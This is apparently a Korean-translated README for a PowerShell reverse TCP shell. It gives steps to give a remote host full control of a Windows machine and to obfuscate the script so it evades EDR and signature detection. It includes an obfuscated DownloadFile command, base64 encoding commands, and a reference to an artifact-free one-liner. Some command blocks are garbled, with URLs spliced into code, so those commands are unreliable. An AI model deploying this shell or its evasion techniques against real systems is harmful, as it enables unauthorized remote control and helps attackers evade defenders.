PowerShell 역방향 TCP

원격 호스트와 통신하기 위한 PowerShell 스크립트.

원격 호스트는 클라이언트와 모든 기본 시스템 명령에 대한 완전한 제어 권한을 갖게 됩니다.

다음을 기반으로 하는 셸을 확인하세요:

Invoke-Expression PowerShell 명령 여기,
프로세스 파이프 여기.

Windows 10 Enterprise OS (64비트)에서 PowerShell v5.1.19041.2673으로 테스트되었습니다.

교육 목적으로 제작되었습니다. 도움이 되길 바랍니다!

이 저장소에는 알려진 시그니처가 포함되기 시작했으며, 매번 새 스크립트를 업로드할 시간이 없으므로 이 스크립트들을 직접 난독화해야 합니다.

향후 계획:

프로세스 파이프 기반의 더 많은 셸 및 추가 최적화.

실행 방법

필요에 따라 스크립트 내의 IP 주소와 포트 번호를 변경하세요.

\src\invoke_expression\original\ 또는 \src\process_pipes\original\에서 PowerShell을 열고 아래 표시된 명령을 실행하세요.

실행 정책 설정:```pwsh Set-ExecutionPolicy Unrestricted

스크립트 실행:```pwsh
.\powershell_reverse_tcp.ps1

또는 PowerShell 또는 명령 프롬프트에서 다음 명령을 실행하세요:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

## PowerShell 스크립트 난독화

EDR 및 기타 보안 메커니즘을 우회하기 위해 스크립트를 난독화해 보세요. 아래 예제에서 이러한 난독화를 확인할 수 있습니다.

원본 PowerShell 명령:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)

난독화된 PowerShell 명령어:```pwsh & (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'

**원본 PowerShell 스크립트는 [여기](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1)에서, 완전히 난독화된 스크립트는 [여기](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1)에서 확인하세요.**

[수동 난독화](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1) 후, 원본 PowerShell 스크립트는 [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)으로 난독화되었습니다. 제작자에게 감사드립니다!

추가 난독화 기술 및 방법을 인터넷에서 검색하세요.

P.S. PowerShell이 지속적으로 업데이트되기 때문에 일부 정규 표현식(예: `*ke-E*`)이 여러 메서드가 동일한 표현식과 일치하여 예외를 발생시킬 수 있으므로, 표현식을 좀 더 명확하게 지정해야 합니다.

### PowerShell 인코딩된 명령

PowerShell 스크립트에서 PowerShell 인코딩된 명령을 생성하려면 다음 PowerShell 명령을 실행하세요:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))

PowerShell 인코딩 명령을 디코딩하려면 다음 PowerShell 명령을 실행하십시오:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))

아래의 원라이너를 사용하면 아티팩트를 남기지 않을 수 있습니다.
